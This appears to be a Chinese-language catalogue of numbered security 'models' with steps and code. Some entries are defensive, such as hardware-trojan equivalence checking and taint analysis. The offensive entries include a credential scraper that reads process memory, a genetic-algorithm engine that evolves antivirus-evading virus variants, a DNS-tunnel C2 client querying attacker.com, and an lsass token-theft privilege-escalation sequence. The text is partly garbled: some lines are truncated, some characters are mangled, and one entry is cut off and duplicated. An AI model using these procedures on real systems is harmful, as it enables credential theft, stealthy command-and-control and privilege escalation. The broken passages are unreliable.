字符串匹配：在字节序列中应用正则表达式，匹配复杂度取决于表达式和算法（NFA/DFA）。
概率：凭据在内存特定区域（如堆、特定模块）出现的概率较高。
信息论：凭据字符串通常具有较高的熵。

正则表达式语法，进程内存映射的文本表示（如/proc/pid/maps），特定应用程序的内存数据结构（非公开）。

1. CreateToolhelp32Snapshot获取进程列表，遍历Process32First/Next。
2. 对每个进程pi，如果pi.szExeFile匹配TargetProcessPatterns，则hProcess = OpenProcess(PROCESS_VM_READ, ...)。
3. addr = 0; while(VirtualQueryEx(hProcess, addr, &mbi, ...)) {
4. 如果mbi.State == MEM_COMMIT && (mbi.Protect & PAGE_READ)，则分配缓冲区buf = malloc(mbi.RegionSize)，ReadProcessMemory(hProcess, mbi.BaseAddress, buf, mbi.RegionSize, ...)。
5. 对Patterns中每个正则re，使用regexec(&re, buf, ...)进行匹配。
6. 对每个匹配match，取其上下文ctx = substr(buf, max(0, match.rm_so-C), min(buf_len, match.rm_eo+C))。
7. 分析ctx：寻找如password=“([^”]+)“或{“key”: “([^”]+)“}等模式，提取子串cred。
8. 如果Flag_Decrypt且进程是浏览器，则在内存中搜索master key并尝试解密cred。
9. 记录(pi.szExeFile, mbi.BaseAddress, cred)。
10. addr += mbi.RegionSize; }

顺序（遍历进程和内存区域）

时间：O(Σ(P * M_i))，P为进程数，M_i为进程i的可读内存区域大小。非常耗时，尤其对于大内存进程。
空间：需要缓冲区存储每个区域的内容，最大为区域大小，可能很大（数百MB）。

通用CPU：密集的系统调用（枚举进程、查询内存、读取内存）、内存中的字符串搜索（正则表达式引擎，可能是回溯或自动机实现）。
指令序列：进程枚举系统调用 -> 内存查询系统调用 -> 读取内存系统调用 -> 正则匹配中的状态机跳转和字符比较指令 -> 字符串拷贝和解析指令。

C++代码片段（使用std::regex）：
std::regex re_password(“[Pp]assword\s[=:]\s[\”']?([^\s"']+)");
std::smatch match;
std::string buffer((char)buf, region_size);
auto words_begin = std::sregex_iterator(buffer.begin(), buffer.end(), re_password);
auto words_end = std::sregex_iterator();
for (std::sregex_iterator i = words_begin; i != words_end; ++i) {
std::string cred = (i)[1].str();
log_credential(cred);
}

Virus1-0028​

集成电路缺陷（设计阶段）​

基于形式化等价性检查的硬件篡改检测模型

等价性检查（Equivalence Checking）

1. 设计表示：将硬件设计表示为两个版本：参考设计（无篡改）R和实现设计（可能被篡改）I。两者通常都表示为门级网表（Netlist）或寄存器传输级（RTL）描述。
2. 内部对应点匹配：使用名称映射、结构哈希或信号功能匹配算法，在R和I之间建立内部信号（寄存器、输入、输出）的对应关系M: R.signal ↔ I.signal。对于难以匹配的点，可设为无关点（don‘t-care）。
3. 构建米利机（Mealy Machine）模型：将组合逻辑和时序元件（触发器）建模为有限状态机。设计的状态由触发器的当前值定义。S_R和S_I分别为R和I的状态集合。
4. 归纳证明：使用数学归纳法证明对于所有可达状态和所有输入向量，对应的输出是相等的。
- 基础步骤：证明在初始状态S_R0和S_I0下，对于所有输入，输出相等。
- 归纳步骤：假设在某个状态S_Rk和S_Ik（满足对应关系M）下输出相等，证明在任意输入in下，下一状态S_R(k+1)和S_I(k+1)仍然满足M且输出相等。
5. 反例生成：如果不等价，工具会生成一个输入序列（波形）作为反例，展示从初始状态开始，在哪一个时钟周期、何种输入下，两个设计的输出出现差异。

完备性：理论上可证明两个设计在所有可能输入序列下功能是否等价。能力：能检测出恶意插入的硬件木马（如果木马影响了功能），但对不影响功能（如泄漏信息）的木马可能漏检。

形式化验证、自动机理论、布尔逻辑、不动点定理、归纳法

1. 检测集成电路设计中的硬件木马（功能性）
2. 验证综合、布局布线后的网表与原始RTL是否等价
3. 验证经过时钟门控、电源门控等低功耗优化后的设计是否等价
4. 验证不同厂商的IP核集成后功能一致性
5. 验证设计修正（ECO）后是否引入错误
6. 验证处理器微架构优化前后指令集一致性
7. 检测第三方IP核中的恶意后门
8. 验证安全加固（如添加防侧信道逻辑）后的功能正确性
9. 在航空航天等高可靠领域的设计验证
10. 教育研究中硬件安全性的评估

常量：参考设计R，实现设计I，输入信号集合Inputs，输出信号集合Outputs，状态映射关系M。
变量：当前状态对(s_R, s_I)，下一状态函数δ_R, δ_I，输出函数λ_R, λ_I。
参数：验证深度（对于不完备的界模型检查）、是否使用假设（约束输入序列）、验证引擎（BDD, SAT, ATPG）。

状态：S0-加载两个设计-> S1-建立信号对应关系-> S2-构建组合逻辑与状态转换函数-> S3-进行归纳基础检查-> S4-进行归纳步检查-> S5-（等价）报告等价-> S6-（不等价）生成反例波形。
核心验证循环：假设在状态s_R和s_I（满足映射M）下，对于所有输入i，验证λ_R(s_R, i) == λ_I(s_I, i)且下一状态δ_R(s_R, i)与δ_I(s_I, i)仍满足M。

逻辑：将设计行为表示为布尔函数F_R(s, i, s’)和F_I(s, i, s’)，其中s’是下一状态。等价性检查转化为证明∀s,i (∃s’_R, s’_I: F_R ∧ F_I) → (λ_R == λ_I)，并保证状态对应关系M在迁移下保持。
布尔可满足性（SAT）：将归纳步骤的证明转化为SAT问题，(¬(λ_R == λ_I) ∧ T_R ∧ T_I ∧ M(s_R, s_I))是否可满足？若不可满足，则归纳步成立。
不动点：寻找一个包含初始状态且对状态转移封闭的等价关系，是不动点计算。

硬件描述语言（Verilog, VHDL）的门级网表或RTL代码，工具命令语言（TCL），反例波形文件（VCD, FSDB）。

1. 建模：将设计R和I转化为内部表示（如与或图AIG）。设R的状态变量为r_1..r_m，I的状态变量为i_1..i_n，输入变量为x_1..x_p，输出变量为y_1..y_q。
2. 映射：建立映射关系，例如M: r_1 ≡ i_1, r_2 ≡ i_3, ...。未映射的寄存器视为无关。
3. 基础步：验证在初始状态（所有寄存器为0或复位值）下，对于所有输入，输出相等。公式：∀x (λ_R(init_R, x) == λ_I(init_I, x))。
4. 归纳步：假设当前状态满足映射M，验证下一状态也满足M且输出相等。公式：(M(s_R, s_I) ∧ T_R(s_R, x, s’_R) ∧ T_I(s_I, x, s’_I)) → (M(s’_R, s’_I) ∧ (λ_R(s_R, x) == λ_I(s_I, x)))。
5. 使用SAT或BDD求解器验证上述公式是否为永真式。若否，则返回使公式为假的具体输入x和状态s_R, s_I作为反例。

顺序（基础步->归纳步）

时间复杂度：最坏情况下是状态数的指数级（状态爆炸），但实际工具使用符号方法和启发式能处理较大设计。
空间复杂度：BDD或SAT求解器需要大量内存存储状态空间和约束。

通用CPU：等价性检查工具运行在通用CPU上，执行复杂的逻辑推理、图算法（BDD操作）、SAT求解。不直接涉及目标硬件芯片的执行。
指令序列：工具本身的指令序列，包括大量的内存访问（用于存储BDD节点或子句）、逻辑运算、回溯搜索。对于大型设计，可能使用多线程并行求解。

Verilog示例 & TCL脚本（概念性）：
// 参考设计 R
module ref(input clk, input [7:0] in, output reg [7:0] out);
reg [7:0] state;
always @(posedge clk) begin
state <= in + 1;
out <= state;
end
endmodule
// 实现设计 I (可能被篡改)
module impl(input clk, input [7:0] in, output reg [7:0] out);
reg [7:0] state;
always @(posedge clk) begin
state <= in + 1;
// 恶意插入：当in==8‘hAA时，输出错误值
if (in == 8’hAA) out <= 8‘hFF;
else out <= state;
end
endmodule
// 形式化工具TCL命令
read_verilog ref.v
read_verilog impl.v
set_equivalent -ref ref -impl impl -map {ref.state impl.state} -inputs {clk in} -outputs {out}
check_equivalence -timeout 300
// 工具会报告不等价，并给出反例：in=8’hAA时，输出不同。

Virus1-0029​

病毒/多态变形​

基于遗传编程的代码自适应变异模型

遗传编程驱动的多态病毒引擎

1. 种群初始化：将原始病毒体V_original的代码表示为抽象语法树（AST）或中间表示（IR）的个体P0。创建初始种群Pop = {P0, P1, ..., P_N}，其中P_i是通过对P0应用随机变异（如替换指令、交换子树）生成的。
2. 适应度评估：在模拟的检测环境（如多个杀毒引擎的扫描器）中运行或静态分析每个个体P_i，计算其适应度F(P_i)。适应度函数衡量“隐蔽性”，例如：F(P_i) = w1 * (1 - detection_rate) + w2 * code_entropy + w3 * (1 - size_overhead)。检测率detection_rate通过杀毒引擎扫描获得。
3. 选择：根据适应度F(P_i)，使用轮盘赌选择法或锦标赛选择法，从当前种群中选择较优的个体进入交配池MatingPool。适应度高的个体被选中的概率大。
4. 交叉（重组）：从MatingPool中随机选择两个父代个体Parent_a, Parent_b，交换它们的部分代码子树，生成两个子代个体Child1, Child2。
5. 变异：对子代个体以一定概率p_mut进行随机变异，如替换指令、插入垃圾代码、改变控制流等，引入新的多样性。
6. 新一代种群：用子代个体替换部分或全部父代个体，形成新一代种群Pop_next。重复步骤2-6，直到达到最大代数G_max或找到适应度足够高的个体（如检测率为0）。

进化能力：能生成对抗特定检测引擎的变种。强度：适应度函数设计决定了进化方向。开销：进化过程计算成本高，通常在攻击者端离线进行。

遗传算法、进化计算、抽象语法树操作、适应度 landscapes

1. 生成逃避特定杀毒软件特征码的病毒变种
2. 生成逃避静态启发式分析（如高熵检测）的变种
3. 生成逃避模拟器/沙箱检测的变种（通过适应度函数惩罚沙箱中运行的特征）
4. 对抗机器学习检测模型（生成对抗样本）
5. 软件保护中的代码混淆（进化出更难分析的变体）
6. 红队测试中自动化生成免杀载荷
7. 生物病毒进化模拟（研究领域）
8. 网络协议模糊测试的变异策略
9. 恶意文档宏的变异进化
10. Shellcode编码器进化

常量：原始病毒体V_original，适应度函数权重w1, w2, w3，变异操作集合MutationOps，交叉概率p_cross，变异概率p_mut。
变量：当前种群Pop，适应度数组Fitness，当前代数g，最佳个体P_best。
参数：种群大小N，最大代数G_max，选择策略（轮盘赌、锦标赛），适应度评估环境（杀毒引擎列表）。

状态：S0-初始化种群-> S1-评估种群适应度-> S2-选择操作-> S3-交叉操作-> S4-变异操作-> S5-形成新一代种群-> S6-检查终止条件（达到G_max或适应度阈值）-> （未满足）返回S1-> （满足）输出最佳个体P_best。

集合与种群：种群是个体（程序）的集合。
概率：选择、交叉、变异都基于概率。
优化：在程序空间（巨大）中搜索高适应度（低检测率）的点。
图论：程序AST是一棵树，交叉和变异是对树结构的操作。
信息论：代码熵作为适应度的一部分。

程序的AST表示，遗传编程的操作（子树交叉、节点变异），适应度评估脚本（调用杀毒引擎API）。

1. 初始化：Pop_0 = [ mutate(V_original) for i in range(N) ]，其中mutate随机应用一种变异操作。
2. For generation g = 0 to G_max:
a. 适应度评估：for i, P in enumerate(Pop_g): Fitness[i] = evaluate(P)。evaluate(P)流程：将P编译/汇编为二进制B，用多个杀毒引擎AV_list扫描B，detection_rate = count(detected_by_AV(B)) / len(AV_list)。计算代码熵H(P)和大小开销O(P)。F(P) = w1*(1-detection_rate) + w2*H(P) + w3*(1-O(P)/max_size)。
b. 选择：MatingPool = []; for i in range(N):根据Fitness的概率分布选择个体加入MatingPool。
c. 交叉：Offspring = []; while len(Offspring) < N:从MatingPool随机选Parent_a, Parent_b；以概率p_cross进行交叉：Child1, Child2 = crossover(Parent_a, Parent_b)，否则Child1, Child2 = Parent_a, Parent_b。
d. 变异：for Child in Offspring:以概率p_mut，Child = mutate(Child)。
e. 新一代：Pop_{g+1} = Offspring。
3. 输出：选择Pop_{G_max}中适应度最高的个体作为最终变种。

迭代（代际循环）+ 并行（适应度评估可并行进行）

时间：O(G_max * N * T_eval)，其中T_eval是评估一个个体的时间（杀毒扫描可能很慢）。计算成本极高。
空间：存储种群个体和适应度值，O(N *

P

)，

Virus1-0030​

漏洞发现（动态污点）​

基于动态污点传播的输入追踪与漏洞检测模型

动态污点分析（Dynamic Taint Analysis）

1. 污点源标记：在程序执行开始时，将不受信任的输入数据（如网络数据recv、文件读取fread）标记为“污点”数据。为每个内存字节和寄存器分配一个污点标签t，初始干净数据标签为∅。污点源S的标签为t_s。
2. 污点传播：在程序执行过程中，动态跟踪污点数据如何通过指令传播。传播规则例如：
- 移动：MOV reg1, reg2-> 若reg2污点标签为T，则reg1的标签也为T。
- 算术运算：ADD reg1, reg2-> 若reg1或reg2任一有污点标签T，则结果reg1的标签为T（或T1 ∪ T2）。
- 逻辑运算：类似算术运算。
- 内存存储：MOV [mem], reg-> 将reg的污点标签传播到mem指向的内存位置。
- 内存加载：MOV reg, [mem]-> 将mem指向内存的污点标签传播到reg。
3. 污点检查（Sink点监控）：在敏感操作点（Sink）检查操作数是否被污染。例如，在调用strcpy(dest, src)时，检查dest的地址是否被污染（可能导致缓冲区溢出），或system(cmd)中cmd是否被污染（命令注入）。
4. 漏洞报告：如果污点数据到达Sink点且未经过净化（如strcmp, memcpy_s等安全函数），则报告潜在漏洞，并记录执行轨迹。

精度：动态执行，误报率较低。覆盖率：依赖于测试用例的路径覆盖，可能漏报未执行路径上的漏洞。性能开销：高，因为需要插桩和跟踪每条指令。

信息流安全、动态二进制插桩、程序切片

1. 检测缓冲区溢出漏洞（污点数据用于数组索引或内存拷贝长度）
2. 检测格式化字符串漏洞（污点数据作为printf的格式字符串）
3. 检测命令注入漏洞（污点数据传入system, popen）
4. 检测SQL注入漏洞（污点数据拼接成SQL查询）
5. 检测跨站脚本（XSS）漏洞（污点数据输出到HTML）
6. 检测路径遍历漏洞（污点数据用于文件路径）
7. 检测整数溢出漏洞（污点数据参与算术运算导致溢出）
8. 检测Use-After-Free（污点数据影响释放后的指针使用）
9. 隐私泄露检测（污点数据通过网络发送）
10. 恶意软件行为分析（跟踪用户输入如何影响系统调用）

常量：污点源规则（哪些函数/系统调用是源）、污点传播规则、污点Sink点规则。
变量：运行时内存和寄存器的污点标签映射TaintMap，当前执行指令inst，污点标签集合运算。
参数：污点传播粒度（字节级、字级）、标签表示（位向量、集合）、是否跟踪控制依赖（间接污点）。

状态：S0-程序开始执行，初始化污点引擎-> S1-执行到污点源指令，标记输入数据-> S2-对每条执行的指令，根据传播规则更新污点标签-> S3-执行到Sink点指令，检查操作数污点状态-> S4-（污点到达且未净化）报告漏洞-> S5-程序结束或继续执行。

集合：污点标签集合，通常是输入源的标识集合。
数据流：动态数据流跟踪，污点标签沿数据依赖传播。
逻辑：传播规则是逻辑谓词。
并集运算：当多个污点源的数据合并时，标签取并集。

插桩框架的API（如Pin, DynamoRIO），污点传播规则的描述，漏洞报告格式。

1. 插桩：使用动态二进制插桩框架（如Intel Pin）在程序运行时插入监控代码。
2. 标记源：在read、recv等系统调用或库函数返回时，将其写入的目标内存区域标记为污点。例如，taint_memory(buf, len, label=SOURCE_NETWORK)。
3. 传播：对每条指令插桩回调。例如，对于add eax, ebx：
new_taint = get_taint(EAX) ∪ get_taint(EBX); set_taint(EAX, new_taint);
对于mov [edi], eax：
taint = get_taint(EAX); set_taint_memory(EDI, taint);
4. 检查Sink：在strcpy(dest, src)调用前插桩：
if (is_tainted(dest)) { report_vulnerability(“potential buffer overflow”, context); }
if (is_tainted(src)) { /* 可能正常，但记录 */ }
5. 记录完整的污点传播路径用于分析。

顺序（程序指令执行顺序）+ 动态（污点传播实时进行）

时间：指令级插桩导致程序运行速度下降10倍到100倍。
空间：需要为每个内存字节和寄存器存储污点标签，内存开销巨大。通常采用稀疏存储和位向量压缩。

通用CPU：动态二进制插桩框架（如Pin）将监控代码注入到目标程序指令流中，导致每条原指令前后都执行额外的插桩代码。这带来了巨大的性能开销。
指令序列：原指令 -> 插桩跳转 -> 污点传播逻辑（标签加载、并集运算、标签存储） -> 跳回原程序。污点逻辑涉及大量的条件判断和内存访问。

Pin插桩工具伪代码（概念）：
VOID Instruction(INS ins, VOID *v) {
if (INS_IsMemoryRead(ins)) {
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)taint_mem_to_reg,
IARG_MEMORYREAD_EA, IARG_UINT32, INS_MemoryReadSize(ins), IARG_REG_VALUE, INS_RegW(ins, 0), IARG_END);
}
if (INS_IsCall(ins) && INS_IsDirectControlFlow(ins)) {
RTN rtn = RTN_FindByAddress(INS_DirectControlFlowTargetAddress(ins));
if (RTN_Valid(rtn) && RTN_Name(rtn) == “strcpy”) {
// 检查dest参数是否被污染
INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)check_taint_on_strcpy_dest, IARG_FUNCARG_ENTRYPOINT_VALUE, 0, IARG_END);
}
}
}

Virus1-0031​

蠕虫/网络攻击​

基于递归DNS查询与子域名爆破的隐蔽通道模型

DNS隧道蠕虫

1. 数据编码：将需要传输的命令或数据（payload）编码成符合DNS标签格式的子域名。常用编码：Base32, Base64，或十六进制。例如，将”cmd=whoami”编码为”636d643d77686f616d69”（十六进制）。
2. 查询构造：构造DNS查询，将编码后的数据作为子域名前缀，附加到攻击者控制的权威域名attacker.com下。例如：636d643d77686f616d69.attacker.com。查询类型通常为TXT（可返回任意文本）或A（返回IP地址用于数据分块）。
3. 查询发送：被感染主机向本地DNS递归解析器发送该DNS查询。查询会经过正常的DNS解析流程，最终到达攻击者控制的权威DNS服务器。
4. 命令解析与响应：攻击者的权威DNS服务器收到查询后，从子域名中解码出payload，解析出命令，执行后将结果编码，放入DNS响应（如TXT记录的RDATA字段）中返回。
5. 响应接收与解码：被感染主机收到DNS响应，从TXT记录或A记录（多个）中提取编码数据，解码后得到命令执行结果。

隐蔽性：高，DNS流量通常不被严格审查。带宽：极低，受限于DNS查询/响应包大小和速率。可靠性：依赖DNS基础设施的可用性。

DNS协议规范、信息编码理论、隐蔽信道

1. 绕过网络防火墙（允许DNS出站）的数据渗出
2. 命令与控制（C2）通信，逃避基于IP的检测
3. 从隔离网络（空气间隙）中通过受感染的DNS服务器渗出数据（如果DNS被允许）
4. 绕过代理服务器的监控
5. 移动设备恶意软件的C2通信
6. 物联网设备的数据回传
7. 通过公共Wi-Fi进行数据窃取
8. 针对内部DNS服务器的攻击（作为跳板）
9. 学术研究中的隐蔽信道实现
10. 红队渗透测试中的横向移动

常量：攻击者控制的权威域名AUTH_DOMAIN（如attacker.com），编码/解码算法（如Base32），查询类型QTYPE（TXT/A）。
变量：待传输的数据payload，编码后的子域名subdomain，DNS事务IDtxid，响应数据response_data。
参数：分块大小（每个查询携带的数据量）、查询间隔（避免触发阈值）、是否使用DNS over HTTPS/TLS（DoH/DoT）增强隐蔽性。

状态：S0-准备数据-> S1-数据编码与分块-> S2-构造DNS查询包-> S3-发送DNS查询-> S4-（攻击者服务器）接收查询，解码，执行命令-> S5-（服务器）编码结果，构造DNS响应-> S6-（客户端）接收响应，解码-> S7-处理结果，等待下一次通信。

信息论：将数据编码为DNS标签字符串，标签长度限制为63字节，总域名长度限制255字节。
编码：Base32/Base64编码将二进制数据映射到字母数字和少量符号。
分块：大数据需要分割成多个查询/响应序列，涉及序列号。
协议：严格遵守DNS报文格式（Header, Question, Answer等）。

DNS协议报文（二进制格式），编码后的子域名（如[a-zA-Z0-9.-]+），TXT记录中的文本数据。

1. 客户端（被感染主机）发送查询：
a. 数据data = “cmd=ls”。
b. 编码：encoded = base32_encode(data)-> ”MZXW6YTBOI====”，去掉填充=并转小写以适应域名：sub = “mzxw6ytboi”。
c. 构造查询域名：qname = sub + “.” + AUTH_DOMAIN。
d. 发送DNS查询包（UDP 53端口），QTYPE=TXT。
2. 服务器（攻击者权威DNS）：
a. 收到查询，提取子域名部分sub。
b. 解码：data = base32_decode(sub)得到”cmd=ls”。
c. 执行命令ls，得到输出result = “file1\nfile2”。
d. 编码结果：resp_encoded = base32_encode(result)，可能分块。
e. 在DNS响应包的Answer section添加TXT记录，RDATA=resp_encoded。
3. 客户端接收响应：
a. 从TXT记录中提取resp_encoded。
b. 解码：result = base32_decode(resp_encoded)。
c. 处理结果（如显示或发送到其他渠道）。

顺序（查询-响应模式）+ 分块序列（大数据需多轮）

时间：受网络延迟和DNS解析时间影响。每个查询-响应回合约数百毫秒。
空间：每个查询/响应包大小有限（通常<512字节 UDP），传输大数据需要多次查询。

通用CPU：执行DNS协议栈（getaddrinfo或原始套接字）、编码/解码运算（Base32）、字符串处理。网络I/O为主。
指令序列：编码/解码中的查表和移位指令 -> DNS报文构造（填充Header, Question字段）-> UDP套接字发送/接收系统调用 -> 字符串解析（提取子域名）。

Python伪代码（客户端发送编码查询）：
import base64, dns.resolver
def send_cmd(cmd):
encoded = base64.b32encode(cmd.encode()).decode(‘utf-8’).rstrip(‘=’).lower()
query = encoded + ‘.attacker.com’
try:
answers = dns.resolver.resolve(query, ‘TXT’)
for rdata in answers:
for txt_string in rdata.strings:
decoded = base64.b32decode(txt_string.decode().upper() + ‘=’*8)
return decoded.decode()
except Exception as e:
return str(e)
result = send_cmd(‘whoami’)

Virus1-0032​

硬件缺陷（侧信道-时间）​

基于时序差异的密码算法常数时间违规检测模型

时序侧信道分析（Timing Side-Channel）

1. 目标算法识别：分析密码算法（如RSA解密、AES、字符串比较）的软件实现，识别其输入依赖的分支或内存访问模式。例如，RSA的平方乘算法中，如果私钥位为1则执行一次额外乘法，导致时间差异。
2. 高精度计时：在目标系统上，对算法执行进行多次计时。对于同一算法，输入不同的数据（如密文）C_i，测量其执行时间T_i。使用高精度计时器（如rdtsc, clock_gettime）。
3. 统计分析：收集大量的(C_i, T_i)对。假设执行时间T与秘密值（如私钥位d_j）存在相关性。通过统计方法（如皮尔逊相关系数、t检验、简单功率分析SPA）分析T_i与猜测的密钥位d_j的关系。对于RSA，可建模为：T = a + Σ_j (b_j * d_j) + e，其中e为噪声。
4. 密钥位推导：通过分析，逐步推导出密钥的各个位。例如，对于RSA，通过观察时间差异，区分出私钥位是0还是1。
5. 密钥重构：将推导出的密钥位组合成完整的密钥。

信息泄露量：每次测量泄露少量信息，需要多次测量取平均以减少噪声。成功率：依赖于计时精度和噪声水平，对本地或可控环境攻击成功率高。

统计学（假设检验、相关性分析）、密码学算法实现细节、计算机体系结构（缓存、分支预测）

1. 破解有缺陷的RSA实现（如未使用蒙哥马利 ladder）
2. 破解有缺陷的AES实现（基于查表的S-box导致缓存时序差异）
3. 破解有缺陷的椭圆曲线密码实现（双标量乘法）
4. 攻击网站登录的字符串比较（早期”hmac compare”未用常数时间）
5. 推测执行攻击（如Spectre）的基础原理分析
6. 微架构侧信道（如端口争用）的时间分析
7. 智能卡或HSM的定时攻击
8. 网络协议中的时间信息泄露（如TCP序列号）
9. 密码学库（如OpenSSL）的常数时间实现验证
10. 硬件设计中的时序违规检测

常量：目标算法函数Alg，秘密密钥K（未知），公开输入C_i集合。
变量：测量时间T_i，噪声e_i，猜测的密钥位g_j。
参数：测量次数N，计时器精度，统计显著性水平α。

状态：S0-选择目标算法和测量点-> S1-准备输入集合{C_i}-> S2-循环i=1 to N-> S3-（对每个C_i）高精度计时开始-> S4-执行Alg(K, C_i)-> S5-计时结束，记录T_i-> S6-（循环结束）统计分析-> S7-计算猜测密钥位g_j与T_i的相关性-> S8-（相关性显著）接受g_j-> S9-重复S7-S8直到恢复完整密钥K’。

统计学：假设检验（如检验d_j=0和d_j=1两组时间均值是否显著不同），相关系数计算ρ(T, g)。
信号处理：从噪声e中提取信号b_j，可能需要滤波或平均。
代数：RSA私钥位与执行时间的线性模型。
概率：测量噪声通常假设为正态分布e ~ N(0, σ^2)。

高精度计时API调用（__rdtsc(), clock_gettime()），密码算法函数调用，统计分析脚本（Python numpy/scipy）。

1. 目标：攻击一个简单的RSA平方乘解密实现：result = 1; for i from 0 to key_bits-1: result = (result * result) mod n; if (key_bit[i] == 1) result = (result * c) mod n;。
2. 测量：对于大量随机密文c_j，测量解密时间T_j。
3. 建模：假设第i位密钥d_i的影响是：如果d_i=1，则多一次模乘，增加时间Δt。所以总时间T ≈ T_base + Σ_i (d_i * Δt_i) + e。但由于Δt_i很小且被噪声掩盖，需统计分析。
4. 分析：对于每个密钥位猜测g_i（0或1），将测量样本分为两组：`G0 = {T_j

猜测该样本中该位为0}，G1 = {T_j

猜测该位为1}。计算两组样本的均值μ0,μ1和标准差。如果

μ1 - μ0

显著大于噪声（t检验p值<α），则可以推断该密钥位是g_i（如果μ1 > μ0`，则真实位可能为1）。
5. 迭代：从最高位开始，利用已恢复的位来计算中间结果，从而分析下一位。

Virus1-0033​

木马/权限提升​

基于访问令牌窃取与模仿的权限提升模型

令牌窃取与模仿（Token Impersonation）

1. 进程枚举与目标选择：枚举系统进程{P_i}，寻找具有高权限令牌的进程（如SYSTEM, Administrator权限的进程）。通过OpenProcess获取进程句柄，需要PROCESS_QUERY_INFORMATION权限。
2. 打开目标进程：使用OpenProcess打开选定的高权限进程P_target，获得句柄hProcess。
3. 获取进程令牌：使用`OpenProcessToken(hProcess, TOKEN_DUPLICATE

TOKEN_IMPERSONATE

TOKEN_QUERY, &hToken)获取该进程的访问令牌句柄hToken。<br>4. **复制令牌**：使用DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenImpersonation, &hDupToken)复制令牌，创建一个新的模拟令牌hDupToken。<br>5. **应用令牌到当前线程**：使用SetThreadToken(NULL, hDupToken)将复制的模拟令牌应用到当前线程。此后，该线程便以P_target`的安全上下文执行。
6. 执行特权操作：以窃取的令牌权限执行需要特权的操作（如创建用户、修改系统配置）。

权限提升成功率：高，前提是攻击者已有中等权限（如SeDebugPrivilege）来打开高权限进程。隐蔽性：中，新创建的线程或进程可能具有异常的高权限。

Windows安全子系统（访问令牌、安全描述符、权限）、进程与线程安全上下文

1. 从管理员权限的进程中窃取SYSTEM令牌
2. 绕过用户账户控制（UAC）
3. 在Windows服务中提升权限
4. 横向移动中，从远程进程获取令牌（如通过PsExec）
5. 持久化后门，维持高权限访问
6. 绕过某些应用程序的白名单（以受信任进程身份执行）
7. 创建隐藏的高权限进程或线程
8. 访问受限资源（如SAM注册表项）
9. 转储其他进程的内存（如LSASS）以获取凭证
10. 内核模式漏洞利用前的权限准备

常量：目标进程名或PID（如lsass.exe, winlogon.exe），所需权限DesiredAccess。
变量：目标进程句柄hProcess，源令牌句柄hToken，复制后的令牌句柄hDupToken，当前线程标识。
参数：令牌模拟级别（SecurityImpersonation或SecurityDelegation），是否创建新进程（CreateProcessWithTokenW）。

状态：S0-提升当前进程权限（调整令牌特权，如SeDebugPrivilege）-> S1-枚举进程，寻找高权限目标-> S2-打开目标进程-> S3-打开目标进程令牌-> S4-复制令牌-> S5-将复制令牌应用于当前线程-> S6-以窃取的身份执行特权操作-> S7-（可选）恢复原始线程令牌。

集合：进程集合，进程令牌集合。
逻辑：访问检查，权限判断。
安全模型：访问令牌包含用户SID、组SID、特权列表等安全属性。

Windows API调用序列（OpenProcess, OpenProcessToken, DuplicateTokenEx, SetThreadToken），安全标识符（SID）和特权（如SeDebugPrivilege）的字符串常量。

1. 首先启用当前进程的SeDebugPrivilege（如果尚未启用）：LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid); AdjustTokenPrivileges(hCurrentToken, FALSE, &tp, ...)。
2. 使用CreateToolhelp32Snapshot和Process32First/Next遍历进程，查找名为”lsass.exe”或PID已知的高权限进程。
3. hProcess = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, targetPid);
4. OpenProcessToken(hProcess, TOKEN_DUPLICATE \| TOKEN_IMPERSONATE \| TOKEN_QUERY, &hToken);
5. DuplicateTokenEx(hToken, MAXIMUM_ALLOWED, NULL, SecurityImpersonation, TokenImpersonation, &hDupToken);
6. SetThreadToken(NULL, hDupToken);// 应用到当前线程
7. 现在，调用OpenProcess(PROCESS_ALL_ACCESS, FALSE, somePid)或RegOpenKeyEx(HKEY_LOCAL_MACHINE, ...)等API将以窃取的令牌权限执行。
8. 使用后，可SetThreadToken(NULL, NULL)恢复。

顺序（API调用步骤严格）

时间：O(n)枚举进程，n为进程数。API调用开销很小。
空间：需要存储进程列表和句柄，很小。

Virus1-0034​

漏洞发现（符号执行-混合）​

基于符号执行与具体执行混合的导向性模糊测试模型

混合执行（Concolic Execution）与模糊测试结合

1. 具体执行与符号执行并行：从一组初始种子输入seed开始，同时进行具体执行和符号执行。具体执行使用实际值，符号执行将输入标记为符号变量，记录路径约束。
2. 路径约束收集：在符号执行分支点（如if (x > 0)），记录符号条件φ。具体执行会选择一个分支（真或假），符号执行则记录当前路径约束Φ和另一分支的否定条件¬φ。
3. 新输入生成：当一条路径执行完毕或达到一定深度，从路径约束Φ中挑选一个未探索的分支条件¬φ，使用约束求解器（如Z3）求解Φ ∧ ¬φ，得到一个新的具体输入new_input，该输入将导向之前未走过的分支。
4. 模糊测试引导：将new_input加入模糊测试的种子队列。模糊测试器（如AFL）会以new_input为起点，进行传统的变异和覆盖引导的模糊测试，探索该分支附近的状态空间。
5. 协同循环：模糊测试发现的新路径或崩溃输入，可以反馈给符号执行引擎，作为新的起点进行更深入的符号分析。

覆盖率：结合了符号执行的深度路径探索和模糊测试的高速变异，能有效提高代码覆盖率。效率：比纯符号执行快，比纯模糊测试更能触及深层路径。

符号执行、模糊测试、约束求解、程序分析

1. 发现需要复杂条件触发的深层漏洞
2. 提高对大型程序（如浏览器、内核）的模糊测试覆盖率
3. 自动化测试文件解析器（如PDF, Office）
4. 网络协议实现测试
5. 智能合约漏洞挖掘
6. 设备驱动模糊测试
7. 二进制程序的漏洞发现（结合动态插桩）
8. 生成绕过特定检查的测试用例
9. 回归测试中的高覆盖率测试集生成
10. 软件安全加固的测试验证

常量：目标程序P，初始种子集Seeds，符号执行引擎SymEngine，模糊测试引擎Fuzzer，约束求解器Solver。
变量：当前具体输入concrete_input，当前路径约束Φ，符号状态σ，模糊测试队列FuzzQueue。
参数：符号执行与模糊测试的切换频率、符号执行深度限制、约束求解超时时间。

状态：S0-初始化，从Seeds取一个输入-> `S1-混合执行：同时使用具体值和符号变量运行

Virus1-0034​

漏洞发现（符号执行-混合）​

基于符号执行与具体执行混合的导向性模糊测试模型

混合执行（Concolic Execution）与模糊测试结合

1. 具体执行与符号执行并行：从一组初始种子输入seed开始，同时进行具体执行和符号执行。具体执行使用实际值，符号执行将输入标记为符号变量，记录路径约束。
